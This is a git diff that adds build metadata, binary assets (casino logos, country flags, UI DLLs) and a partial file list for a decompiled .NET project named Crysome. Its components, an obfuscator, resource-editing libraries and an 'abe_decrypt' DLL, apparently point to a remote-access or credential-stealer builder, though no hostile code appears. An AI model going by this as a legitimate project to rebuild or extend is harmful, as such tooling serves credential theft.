b/Crysome.Server/inventory/casinos/1xbet.png new file mode 100644 index 0000000..73ec5d0 Binary files /dev/null and b/Crysome.Server/inventory/casinos/1xbet.png differ diff --git a/Crysome.Server/inventory/casinos/22bet.png b/Crysome.Server/inventory/casinos/22bet.png new file mode 100644 index 0000000..c55302a Binary files /dev/null and b/Crysome.Server/inventory/casinos/22bet.png differ diff --git a/Crysome.Server/inventory/casinos/888casino.png b/Crysome.Server/inventory/casinos/888casino.png new file mode 100644 index 0000000..1bad1fe Binary files /dev/null and b/Crysome.Server/inventory/casinos/888casino.png differ diff --git a/Crysome.Server/inventory/casinos/bet365.png b/Crysome.Server/inventory/casinos/bet365.png new file mode 100644 index 0000000..dc1e012 Binary files /dev/null and b/Crysome.Server/inventory/casinos/bet365.png differ diff --git a/Crysome.Server/inventory/casinos/bet9ja.png b/Crysome.Server/inventory/casinos/bet9ja.png new file mode 100644 index 0000000..829cc69 Binary files /dev/null and b/Crysome.Server/inventory/casinos/bet9ja.png differ diff --git a/Crysome.Server/inventory/casinos/betano.png b/Crysome.Server/inventory/casinos/betano.png new file mode 100644 index 0000000..c112f8b Binary files /dev/null and b/Crysome.Server/inventory/casinos/betano.png differ diff --git a/Crysome.Server/inventory/casinos/betfair.png b/Crysome.Server/inventory/casinos/betfair.png new file mode 100644 index 0000000..d214bbd Binary files /dev/null and b/Crysome.Server/inventory/casinos/betfair.png differ diff --git a/Crysome.Server/inventory/casinos/betmgm.png b/Crysome.Server/inventory/casinos/betmgm.png new file mode 100644 index 0000000..f1cbb62 Binary files /dev/null and b/Crysome.Server/inventory/casinos/betmgm.png differ diff --git a/Crysome.Server/inventory/casinos/betonline.png b/Crysome.Server/inventory/casinos/betonline.png new file mode 100644 index 0000000..260d082 Binary files /dev/null and b/Crysome.Server/inventory/casinos/betonline.png differ diff --git a/Crysome.Server/inventory/casinos/betsson.png b/Crysome.Server/inventory/casinos/betsson.png new file mode 100644 index 0000000..9a802c1 Binary files /dev/null and b/Crysome.Server/inventory/casinos/betsson.png differ diff --git a/Crysome.Server/inventory/casinos/betway.png b/Crysome.Server/inventory/casinos/betway.png new file mode 100644 index 0000000..cc76310 Binary files /dev/null and b/Crysome.Server/inventory/casinos/betway.png differ diff --git a/Crysome.Server/inventory/casinos/bovada.png b/Crysome.Server/inventory/casinos/bovada.png new file mode 100644 index 0000000..1892cd8 Binary files /dev/null and b/Crysome.Server/inventory/casinos/bovada.png differ diff --git a/Crysome.Server/inventory/casinos/caesars.png b/Crysome.Server/inventory/casinos/caesars.png new file mode 100644 index 0000000..7157ac5 Binary files /dev/null and b/Crysome.Server/inventory/casinos/caesars.png differ diff --git a/Crysome.Server/inventory/casinos/casumo.png b/Crysome.Server/inventory/casinos/casumo.png new file mode 100644 index 0000000..940196c Binary files /dev/null and b/Crysome.Server/inventory/casinos/casumo.png differ diff --git a/Crysome.Server/inventory/casinos/draftkings.png b/Crysome.Server/inventory/casinos/draftkings.png new file mode 100644 index 0000000..53419b1 Binary files /dev/null and b/Crysome.Server/inventory/casinos/draftkings.png differ diff --git a/Crysome.Server/inventory/casinos/fanduel.png b/Crysome.Server/inventory/casinos/fanduel.png new file mode 100644 index 0000000..455f293 Binary files /dev/null and b/Crysome.Server/inventory/casinos/fanduel.png differ diff --git a/Crysome.Server/inventory/casinos/ignitioncasino.png b/Crysome.Server/inventory/casinos/ignitioncasino.png new file mode 100644 index 0000000..01acb4f Binary files /dev/null and b/Crysome.Server/inventory/casinos/ignitioncasino.png differ diff --git a/Crysome.Server/inventory/casinos/jackpot_city.png b/Crysome.Server/inventory/casinos/jackpot_city.png new file mode 100644 index 0000000..fad13dd Binary files /dev/null and b/Crysome.Server/inventory/casinos/jackpot_city.png differ diff --git a/Crysome.Server/inventory/casinos/leovegas.png b/Crysome.Server/inventory/casinos/leovegas.png new file mode 100644 index 0000000..0918ec7 Binary files /dev/null and b/Crysome.Server/inventory/casinos/leovegas.png differ diff --git a/Crysome.Server/inventory/casinos/lucky_nugget.png b/Crysome.Server/inventory/casinos/lucky_nugget.png new file mode 100644 index 0000000..a280f55 Binary files /dev/null and b/Crysome.Server/inventory/casinos/lucky_nugget.png differ diff --git a/Crysome.Server/inventory/casinos/partycasino.png b/Crysome.Server/inventory/casinos/partycasino.png new file mode 100644 index 0000000..90f2c34 Binary files /dev/null and b/Crysome.Server/inventory/casinos/partycasino.png differ diff --git a/Crysome.Server/inventory/casinos/pokerstars.png b/Crysome.Server/inventory/casinos/pokerstars.png new file mode 100644 index 0000000..33b5bdb Binary files /dev/null and b/Crysome.Server/inventory/casinos/pokerstars.png differ diff --git a/Crysome.Server/inventory/casinos/ruby_fortune.png b/Crysome.Server/inventory/casinos/ruby_fortune.png new file mode 100644 index 0000000..611f4b6 Binary files /dev/null and b/Crysome.Server/inventory/casinos/ruby_fortune.png differ diff --git a/Crysome.Server/inventory/casinos/spin_casino.png b/Crysome.Server/inventory/casinos/spin_casino.png new file mode 100644 index 0000000..1bfd5bc Binary files /dev/null and b/Crysome.Server/inventory/casinos/spin_casino.png differ diff --git a/Crysome.Server/inventory/casinos/unibet.png b/Crysome.Server/inventory/casinos/unibet.png new file mode 100644 index 0000000..e6bdb2e Binary files /dev/null and b/Crysome.Server/inventory/casinos/unibet.png differ diff --git a/Crysome.Server/inventory/casinos/william_hill.png b/Crysome.Server/inventory/casinos/william_hill.png new file mode 100644 index 0000000..dd1d763 Binary files /dev/null and b/Crysome.Server/inventory/casinos/william_hill.png differ diff --git a/Crysome.Server/lib/Wpf.Ui.Abstractions.dll b/Crysome.Server/lib/Wpf.Ui.Abstractions.dll new file mode 100644 index 0000000..ee1a056 Binary files /dev/null and b/Crysome.Server/lib/Wpf.Ui.Abstractions.dll differ diff --git a/Crysome.Server/lib/Wpf.Ui.dll b/Crysome.Server/lib/Wpf.Ui.dll new file mode 100644 index 0000000..9cd78e5 Binary files /dev/null and b/Crysome.Server/lib/Wpf.Ui.dll differ diff --git a/Crysome.Server/obj/Crysome.Server.csproj.nuget.dgspec.json b/Crysome.Server/obj/Crysome.Server.csproj.nuget.dgspec.json new file mode 100644 index 0000000..567cc3e --- /dev/null +++ b/Crysome.Server/obj/Crysome.Server.csproj.nuget.dgspec.json @@ -0,0 +1,339 @@ +{ + "format": 1, + "restore": { + "C:\\Users\\lukas\\Downloads\\net9.0-windows\\net9.0-windows\\CrysomeDecompiled\\Crysome.Server\\Crysome.Server.csproj": {} + }, + "projects": { + "C:\\Users\\lukas\\Downloads\\net9.0-windows\\net9.0-windows\\CrysomeDecompiled\\Crysome.Common\\Crysome.Common.csproj": { + "version": "1.0.0", + "restore": { + "projectUniqueName": "C:\\Users\\lukas\\Downloads\\net9.0-windows\\net9.0-windows\\CrysomeDecompiled\\Crysome.Common\\Crysome.Common.csproj", + "projectName": "Crysome.Common", + "projectPath": "C:\\Users\\lukas\\Downloads\\net9.0-windows\\net9.0-windows\\CrysomeDecompiled\\Crysome.Common\\Crysome.Common.csproj", + "packagesPath": "C:\\Users\\lukas\\.nuget\\packages\\", + "outputPath": "C:\\Users\\lukas\\Downloads\\net9.0-windows\\net9.0-windows\\CrysomeDecompiled\\Crysome.Common\\obj\\", + "projectStyle": "PackageReference", + "fallbackFolders": [ + "C:\\Program Files\\DevExpress 24.2\\Components\\Offline Packages", + "C:\\Program Files (x86)\\Microsoft Visual Studio\\Shared\\NuGetPackages" + ], + "configFilePaths": [ + "C:\\Users\\lukas\\AppData\\Roaming\\NuGet\\NuGet.Config", + "C:\\Program Files (x86)\\NuGet\\Config\\DevExpress 24.2.config", + "C:\\Program Files (x86)\\NuGet\\Config\\Microsoft.VisualStudio.FallbackLocation.config", + "C:\\Program Files (x86)\\NuGet\\Config\\Microsoft.VisualStudio.Offline.config" + ], + "originalTargetFrameworks": [ + "net9.0-windows" + ], + "sources": { + "C:\\Program Files (x86)\\Microsoft SDKs\\NuGetPackages\\": {}, + "C:\\Program Files\\DevExpress 24.2\\Components\\System\\Components\\Packages": {}, + "C:\\Program Files\\dotnet\\library-packs": {}, + "https://api.nuget.org/v3/index.json": {} + }, + "frameworks": { + "net9.0-windows7.0": { + "targetAlias": "net9.0-windows", + "projectReferences": {} + } + }, + "warningProperties": { + "warnAsError": [ + "NU1605" + ] + }, + "restoreAuditProperties": { + "enableAudit": "true", + "auditLevel": "low", + "auditMode": "direct" + }, + "SdkAnalysisLevel": "10.0.100" + }, + "frameworks": { + "net9.0-windows7.0": { + "targetAlias": "net9.0-windows", + "imports": [ + "net461", + "net462", + "net47", + "net471", + "net472", + "net48", + "net481" + ], + "assetTargetFallback": true, + "warn": true, + "frameworkReferences": { + "Microsoft.NETCore.App": { + "privateAssets": "all" + }, + "Microsoft.WindowsDesktop.App.WPF": { + "privateAssets": "none" + } + }, + "runtimeIdentifierGraphPath": "C:\\Program Files\\dotnet\\sdk\\10.0.102/PortableRuntimeIdentifierGraph.json" + } + } + }, + "C:\\Users\\lukas\\Downloads\\net9.0-windows\\net9.0-windows\\CrysomeDecompiled\\Crysome.Obfuscator\\Crysome.Obfuscator.csproj": { + "version": "1.0.0", + "restore": { + "projectUniqueName": "C:\\Users\\lukas\\Downloads\\net9.0-windows\\net9.0-windows\\CrysomeDecompiled\\Crysome.Obfuscator\\Crysome.Obfuscator.csproj", + "projectName": "Crysome.Obfuscator", + "projectPath": "C:\\Users\\lukas\\Downloads\\net9.0-windows\\net9.0-windows\\CrysomeDecompiled\\Crysome.Obfuscator\\Crysome.Obfuscator.csproj", + "packagesPath": "C:\\Users\\lukas\\.nuget\\packages\\", + "outputPath": "C:\\Users\\lukas\\Downloads\\net9.0-windows\\net9.0-windows\\CrysomeDecompiled\\Crysome.Obfuscator\\obj\\", + "projectStyle": "PackageReference", + "fallbackFolders": [ + "C:\\Program Files\\DevExpress 24.2\\Components\\Offline Packages", + "C:\\Program Files (x86)\\Microsoft Visual Studio\\Shared\\NuGetPackages" + ], + "configFilePaths": [ + "C:\\Users\\lukas\\AppData\\Roaming\\NuGet\\NuGet.Config", + "C:\\Program Files (x86)\\NuGet\\Config\\DevExpress 24.2.config", + "C:\\Program Files (x86)\\NuGet\\Config\\Microsoft.VisualStudio.FallbackLocation.config", + "C:\\Program Files (x86)\\NuGet\\Config\\Microsoft.VisualStudio.Offline.config" + ], + "originalTargetFrameworks": [ + "net9.0-windows" + ], + "sources": { + "C:\\Program Files (x86)\\Microsoft SDKs\\NuGetPackages\\": {}, + "C:\\Program Files\\DevExpress 24.2\\Components\\System\\Components\\Packages": {}, + "C:\\Program Files\\dotnet\\library-packs": {}, + "https://api.nuget.org/v3/index.json": {} + }, + "frameworks": { + "net9.0-windows7.0": { + "targetAlias": "net9.0-windows", + "projectReferences": {} + } + }, + "warningProperties": { + "warnAsError": [ + "NU1605" + ] + }, + "restoreAuditProperties": { + "enableAudit": "true", + "auditLevel": "low", + "auditMode": "direct" + }, + "SdkAnalysisLevel": "10.0.100" + }, + "frameworks": { + "net9.0-windows7.0": { + "targetAlias": "net9.0-windows", + "dependencies": { + "dnlib": { + "target": "Package", + "version": "[4.5.0, )" + } + }, + "imports": [ + "net461", + "net462", + "net47", + "net471", + "net472", + "net48", + "net481" + ], + "assetTargetFallback": true, + "warn": true, + "frameworkReferences": { + "Microsoft.NETCore.App": { + "privateAssets": "all" + } + }, + "runtimeIdentifierGraphPath": "C:\\Program Files\\dotnet\\sdk\\10.0.102/PortableRuntimeIdentifierGraph.json" + } + } + }, + "C:\\Users\\lukas\\Downloads\\net9.0-windows\\net9.0-windows\\CrysomeDecompiled\\Crysome.Server.Core\\Crysome.Server.Core.csproj": { + "version": "1.0.0", + "restore": { + "projectUniqueName": "C:\\Users\\lukas\\Downloads\\net9.0-windows\\net9.0-windows\\CrysomeDecompiled\\Crysome.Server.Core\\Crysome.Server.Core.csproj", + "projectName": "Crysome.Server.Core", + "projectPath": "C:\\Users\\lukas\\Downloads\\net9.0-windows\\net9.0-windows\\CrysomeDecompiled\\Crysome.Server.Core\\Crysome.Server.Core.csproj", + "packagesPath": "C:\\Users\\lukas\\.nuget\\packages\\", + "outputPath": "C:\\Users\\lukas\\Downloads\\net9.0-windows\\net9.0-windows\\CrysomeDecompiled\\Crysome.Server.Core\\obj\\", + "projectStyle": "PackageReference", + "fallbackFolders": [ + "C:\\Program Files\\DevExpress 24.2\\Components\\Offline Packages", + "C:\\Program Files (x86)\\Microsoft Visual Studio\\Shared\\NuGetPackages" + ], + "configFilePaths": [ + "C:\\Users\\lukas\\AppData\\Roaming\\NuGet\\NuGet.Config", + "C:\\Program Files (x86)\\NuGet\\Config\\DevExpress 24.2.config", + "C:\\Program Files (x86)\\NuGet\\Config\\Microsoft.VisualStudio.FallbackLocation.config", + "C:\\Program Files (x86)\\NuGet\\Config\\Microsoft.VisualStudio.Offline.config" + ], + "originalTargetFrameworks": [ + "net9.0-windows" + ], + "sources": { + "C:\\Program Files (x86)\\Microsoft SDKs\\NuGetPackages\\": {}, + "C:\\Program Files\\DevExpress 24.2\\Components\\System\\Components\\Packages": {}, + "C:\\Program Files\\dotnet\\library-packs": {}, + "https://api.nuget.org/v3/index.json": {} + }, + "frameworks": { + "net9.0-windows7.0": { + "targetAlias": "net9.0-windows", + "projectReferences": {} + } + }, + "warningProperties": { + "warnAsError": [ + "NU1605" + ] + }, + "restoreAuditProperties": { + "enableAudit": "true", + "auditLevel": "low", + "auditMode": "direct" + }, + "SdkAnalysisLevel": "10.0.100" + }, + "frameworks": { + "net9.0-windows7.0": { + "targetAlias": "net9.0-windows", + "imports": [ + "net461", + "net462", + "net47", + "net471", + "net472", + "net48", + "net481" + ], + "assetTargetFallback": true, + "warn": true, + "frameworkReferences": { + "Microsoft.NETCore.App": { + "privateAssets": "all" + } + }, + "runtimeIdentifierGraphPath": "C:\\Program Files\\dotnet\\sdk\\10.0.102/PortableRuntimeIdentifierGraph.json" + } + } + }, + "C:\\Users\\lukas\\Downloads\\net9.0-windows\\net9.0-windows\\CrysomeDecompiled\\Crysome.Server\\Crysome.Server.csproj": { + "version": "1.0.0", + "restore": { + "projectUniqueName": "C:\\Users\\lukas\\Downloads\\net9.0-windows\\net9.0-windows\\CrysomeDecompiled\\Crysome.Server\\Crysome.Server.csproj", + "projectName": "Crysome.Server", + "projectPath": "C:\\Users\\lukas\\Downloads\\net9.0-windows\\net9.0-windows\\CrysomeDecompiled\\Crysome.Server\\Crysome.Server.csproj", + "packagesPath": "C:\\Users\\lukas\\.nuget\\packages\\", + "outputPath": "C:\\Users\\lukas\\Downloads\\net9.0-windows\\net9.0-windows\\CrysomeDecompiled\\Crysome.Server\\obj\\", + "projectStyle": "PackageReference", + "fallbackFolders": [ + "C:\\Program Files\\DevExpress 24.2\\Components\\Offline Packages", + "C:\\Program Files (x86)\\Microsoft Visual Studio\\Shared\\NuGetPackages" + ], + "configFilePaths": [ + "C:\\Users\\lukas\\AppData\\Roaming\\NuGet\\NuGet.Config", + "C:\\Program Files (x86)\\NuGet\\Config\\DevExpress 24.2.config", + "C:\\Program Files (x86)\\NuGet\\Config\\Microsoft.VisualStudio.FallbackLocation.config", + "C:\\Program Files (x86)\\NuGet\\Config\\Microsoft.VisualStudio.Offline.config" + ], + "originalTargetFrameworks": [ + "net9.0-windows" + ], + "sources": { + "C:\\Program Files (x86)\\Microsoft SDKs\\NuGetPackages\\": {}, + "C:\\Program Files\\DevExpress 24.2\\Components\\System\\Components\\Packages": {}, + "C:\\Program Files\\dotnet\\library-packs": {}, + "https://api.nuget.org/v3/index.json": {} + }, + "frameworks": { + "net9.0-windows7.0": { + "targetAlias": "net9.0-windows", + "projectReferences": { + "C:\\Users\\lukas\\Downloads\\net9.0-windows\\net9.0-windows\\CrysomeDecompiled\\Crysome.Common\\Crysome.Common.csproj": { + "projectPath": "C:\\Users\\lukas\\Downloads\\net9.0-windows\\net9.0-windows\\CrysomeDecompiled\\Crysome.Common\\Crysome.Common.csproj" + }, + "C:\\Users\\lukas\\Downloads\\net9.0-windows\\net9.0-windows\\CrysomeDecompiled\\Crysome.Obfuscator\\Crysome.Obfuscator.csproj": { + "projectPath": "C:\\Users\\lukas\\Downloads\\net9.0-windows\\net9.0-windows\\CrysomeDecompiled\\Crysome.Obfuscator\\Crysome.Obfuscator.csproj" + }, + "C:\\Users\\lukas\\Downloads\\net9.0-windows\\net9.0-windows\\CrysomeDecompiled\\Crysome.Server.Core\\Crysome.Server.Core.csproj": { + "projectPath": "C:\\Users\\lukas\\Downloads\\net9.0-windows\\net9.0-windows\\CrysomeDecompiled\\Crysome.Server.Core\\Crysome.Server.Core.csproj" + } + } + } + }, + "warningProperties": { + "warnAsError": [ + "NU1605" + ] + }, + "restoreAuditProperties": { + "enableAudit": "true", + "auditLevel": "low", + "auditMode": "direct" + }, + "SdkAnalysisLevel": "10.0.100" + }, + "frameworks": { + "net9.0-windows7.0": { + "targetAlias": "net9.0-windows", + "dependencies": { + "Costura.Fody": { + "suppressParent": "All", + "target": "Package", + "version": "[5.7.0, )" + }, + "Fody": { + "include": "Runtime, Build, Native, ContentFiles, Analyzers, BuildTransitive", + "suppressParent": "All", + "target": "Package", + "version": "[6.8.0, )" + }, + "Microsoft.CSharp": { + "target": "Package", + "version": "[4.7.0, )" + }, + "NAudio": { + "target": "Package", + "version": "[2.2.1, )" + }, + "System.Drawing.Common": { + "target": "Package", + "version": "[9.0.0, )" + }, + "Vestris.ResourceLib": { + "target": "Package", + "version": "[2.2.0, )" + }, + "dnlib": { + "target": "Package", + "version": "[4.5.0, )" + } + }, + "imports": [ + "net461", + "net462", + "net47", + "net471", + "net472", + "net48", + "net481" + ], + "assetTargetFallback": true, + "warn": true, + "frameworkReferences": { + "Microsoft.NETCore.App": { + "privateAssets": "all" + }, + "Microsoft.WindowsDesktop.App.WPF": { + "privateAssets": "none" + } + }, + "runtimeIdentifierGraphPath": "C:\\Program Files\\dotnet\\sdk\\10.0.102/PortableRuntimeIdentifierGraph.json" + } + } + } + } +} \ No newline at end of file diff --git a/Crysome.Server/obj/Crysome.Server.csproj.nuget.g.props b/Crysome.Server/obj/Crysome.Server.csproj.nuget.g.props new file mode 100644 index 0000000..328c60a --- /dev/null +++ b/Crysome.Server/obj/Crysome.Server.csproj.nuget.g.props @@ -0,0 +1,20 @@ + + + + True + NuGet + $(MSBuildThisFileDirectory)project.assets.json + $(UserProfile)\.nuget\packages\ + C:\Users\lukas\.nuget\packages\;C:\Program Files\DevExpress 24.2\Components\Offline Packages;C:\Program Files (x86)\Microsoft Visual Studio\Shared\NuGetPackages + PackageReference + 7.0.0 + + + + + + + + + + \ No newline at end of file diff --git a/Crysome.Server/obj/Crysome.Server.csproj.nuget.g.targets b/Crysome.Server/obj/Crysome.Server.csproj.nuget.g.targets new file mode 100644 index 0000000..f773990 --- /dev/null +++ b/Crysome.Server/obj/Crysome.Server.csproj.nuget.g.targets @@ -0,0 +1,7 @@ + + + + + + + \ No newline at end of file diff --git a/Crysome.Server/obj/Debug/.NETCoreApp,Version=v9.0.AssemblyAttributes.cs b/Crysome.Server/obj/Debug/.NETCoreApp,Version=v9.0.AssemblyAttributes.cs new file mode 100644 index 0000000..ea1f2ea --- /dev/null +++ b/Crysome.Server/obj/Debug/.NETCoreApp,Version=v9.0.AssemblyAttributes.cs @@ -0,0 +1,4 @@ +// +using System; +using System.Reflection; +[assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETCoreApp,Version=v9.0", FrameworkDisplayName = ".NET 9.0")] diff --git a/Crysome.Server/obj/Debug/Crysome..7D0EE3F5.Up2Date b/Crysome.Server/obj/Debug/Crysome..7D0EE3F5.Up2Date new file mode 100644 index 0000000..e69de29 diff --git a/Crysome.Server/obj/Debug/Crysome.Server.Crysome.Server.Resources.Strings.resources b/Crysome.Server/obj/Debug/Crysome.Server.Crysome.Server.Resources.Strings.resources new file mode 100644 index 0000000..60ed930 Binary files /dev/null and b/Crysome.Server/obj/Debug/Crysome.Server.Crysome.Server.Resources.Strings.resources differ diff --git a/Crysome.Server/obj/Debug/Crysome.Server.GeneratedMSBuildEditorConfig.editorconfig b/Crysome.Server/obj/Debug/Crysome.Server.GeneratedMSBuildEditorConfig.editorconfig new file mode 100644 index 0000000..9a03301 --- /dev/null +++ b/Crysome.Server/obj/Debug/Crysome.Server.GeneratedMSBuildEditorConfig.editorconfig @@ -0,0 +1,18 @@ +is_global = true +build_property.TargetFramework = net9.0-windows +build_property.TargetFrameworkIdentifier = .NETCoreApp +build_property.TargetFrameworkVersion = v9.0 +build_property.TargetPlatformMinVersion = 7.0 +build_property.UsingMicrosoftNETSdkWeb = +build_property.ProjectTypeGuids = +build_property.InvariantGlobalization = +build_property.PlatformNeutralAssembly = +build_property.EnforceExtendedAnalyzerRules = +build_property._SupportedPlatformList = Linux,macOS,Windows +build_property.RootNamespace = Crysome.Server +build_property.ProjectDir = C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\Crysome.Server\ +build_property.EnableComHosting = +build_property.EnableGeneratedComInterfaceComImportInterop = +build_property.CsWinRTUseWindowsUIXamlProjections = false +build_property.EffectiveAnalysisLevelStyle = 9.0 +build_property.EnableCodeStyleSeverity = diff --git a/Crysome.Server/obj/Debug/Crysome.Server.assets.cache b/Crysome.Server/obj/Debug/Crysome.Server.assets.cache new file mode 100644 index 0000000..d72701f Binary files /dev/null and b/Crysome.Server/obj/Debug/Crysome.Server.assets.cache differ diff --git a/Crysome.Server/obj/Debug/Crysome.Server.csproj.AssemblyReference.cache b/Crysome.Server/obj/Debug/Crysome.Server.csproj.AssemblyReference.cache new file mode 100644 index 0000000..ad1d128 Binary files /dev/null and b/Crysome.Server/obj/Debug/Crysome.Server.csproj.AssemblyReference.cache differ diff --git a/Crysome.Server/obj/Debug/Crysome.Server.csproj.CoreCompileInputs.cache b/Crysome.Server/obj/Debug/Crysome.Server.csproj.CoreCompileInputs.cache new file mode 100644 index 0000000..4c39aa6 --- /dev/null +++ b/Crysome.Server/obj/Debug/Crysome.Server.csproj.CoreCompileInputs.cache @@ -0,0 +1 @@ +d0b6061dd09505ddf50d77800294cacd63fc2c5a8d1365f6580933a017a12d2f diff --git a/Crysome.Server/obj/Debug/Crysome.Server.csproj.FileListAbsolute.txt b/Crysome.Server/obj/Debug/Crysome.Server.csproj.FileListAbsolute.txt new file mode 100644 index 0000000..99ad44f --- /dev/null +++ b/Crysome.Server/obj/Debug/Crysome.Server.csproj.FileListAbsolute.txt @@ -0,0 +1,1697 @@ +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\Crysome.Server\obj\Debug\Crysome.Server.csproj.AssemblyReference.cache +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\Crysome.Server\obj\Debug\Crysome.Server.Crysome.Server.Resources.Strings.resources +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\Crysome.Server\obj\Debug\Crysome.Server.csproj.GenerateResource.cache +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\Crysome.Server\obj\Debug\Crysome.Server.GeneratedMSBuildEditorConfig.editorconfig +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\Crysome.Server\obj\Debug\Crysome.Server.csproj.CoreCompileInputs.cache +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CrysomeFullBuild\Crysome.Server.Resources.abe_decrypt.dll +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CrysomeFullBuild\flags\AD.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CrysomeFullBuild\flags\AD@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CrysomeFullBuild\flags\AD@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CrysomeFullBuild\flags\AE.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CrysomeFullBuild\flags\AE@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CrysomeFullBuild\flags\AE@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CrysomeFullBuild\flags\AF.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CrysomeFullBuild\flags\AF@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CrysomeFullBuild\flags\AF@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CrysomeFullBuild\flags\AG.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CrysomeFullBuild\flags\AG@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CrysomeFullBuild\flags\AG@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CrysomeFullBuild\flags\AI.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CrysomeFullBuild\flags\AI@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CrysomeFullBuild\flags\AI@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CrysomeFullBuild\flags\AL.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CrysomeFullBuild\flags\AL@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CrysomeFullBuild\flags\AL@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CrysomeFullBuild\flags\AM.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CrysomeFullBuild\flags\AM@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CrysomeFullBuild\flags\AM@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CrysomeFullBuild\flags\AO.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CrysomeFullBuild\flags\AO@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CrysomeFullBuild\flags\AO@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CrysomeFullBuild\flags\AR.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CrysomeFullBuild\flags\AR@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CrysomeFullBuild\flags\AR@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CrysomeFullBuild\flags\AS.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CrysomeFullBuild\flags\AS@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CrysomeFullBuild\flags\AS@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CrysomeFullBuild\flags\AT.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CrysomeFullBuild\flags\AT@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CrysomeFullBuild\flags\AT@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CrysomeFullBuild\flags\AU.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CrysomeFullBuild\flags\AU@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CrysomeFullBuild\flags\AU@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CrysomeFullBuild\flags\AW.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CrysomeFullBuild\flags\AW@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CrysomeFullBuild\flags\AW@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CrysomeFullBuild\flags\AX.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CrysomeFullBuild\flags\AX@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CrysomeFullBuild\flags\AX@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CrysomeFullBuild\flags\AZ.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CrysomeFullBuild\flags\AZ@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CrysomeFullBuild\flags\AZ@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CrysomeFullBuild\flags\BA.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CrysomeFullBuild\flags\BA@2x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CrysomeFullBuild\flags\BA@3x.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CrysomeFullBuild\flags\BB.png +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CrysomeFullBuild\flags\BB@2x.png 